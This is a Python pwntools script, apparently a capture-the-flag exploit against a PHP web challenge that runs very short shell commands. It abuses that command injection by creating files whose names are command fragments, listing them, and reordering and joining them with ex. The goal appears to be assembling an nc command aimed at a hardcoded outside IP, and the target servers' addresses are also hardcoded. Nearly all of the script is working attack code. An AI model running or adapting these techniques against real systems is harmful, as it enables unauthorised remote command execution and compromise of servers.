script.py

#!/usr/bin/env python2
from hashlib import md5
import requests
from pwn import *

def ip_to_bytes(x):
    return [int(byte) for byte in x.split(".")]

def ip_to_number(x):
    r = 0 
    for byte in x.split("."):
        
        byte = int(byte)
        r *= 256
        r += byte
    return r

ip = requests.get("http://ipv4.icanhazip.com").text.strip()
success("local ip: %s", ip)

remote_ip = "5.196.109.74"
success("remote ip: %s", remote_ip)

base = "http://52.199.204.34/"
base = "http://52.197.41.31/"
dirname = md5("orange" + ip).hexdigest()

def cmd(c):
    assert len(c) <= 5
    if ".31" in base: assert len(c) <= 4
    requests.get(base + "/index.php", {"cmd": c})

def reset():
    requests.get(base + "/index.php", {"reset": "1"})

def result(f):
    return requests.get(base + "/sandbox/" + dirname + "/" + f).text

def ls():
    cmd("ls>Z")
    x = result("Z")
    cmd("rm Z")
    print "\n".join(l for l in x.split("\n") if l != "Z").strip()

def setup_nc():
    cmd(">nc")
    cmd(">36")
    cmd(">451")
    cmd(">60")
    cmd(">312")
    cmd(">999")
    cmd(r">\>")
    cmd("ls>x")

def ex_reorder():
    cmd(">2j!")
    cmd("ls>z")
    cmd(">ex")
    cmd("*x<z")

    cmd(">1m3")
    cmd(r">3\>")
    cmd(r">4\>")
    cmd(r">6\>")
    cmd(">5m0")
    cmd("ls>z")
    cmd("*x<z")

def ex_join():
    # commands
    cmd(">%j!")
    cmd(">%wq")
    cmd("ls>z")

    #run
    cmd(">ex")
    cmd("*x<z")

def digits(number, base=10):
    while number:
        yield number % base
        number /= base

reset()

with log.progress("setup nc") as p:
    setup_nc()
    p.success()
    print result("x")

with log.progress("ex reorder") as p:
    ex_reorder()
    p.success()
    print result("x")

with log.progress("ex join") as p:
    ex_join()
    p.success()
    print result("x")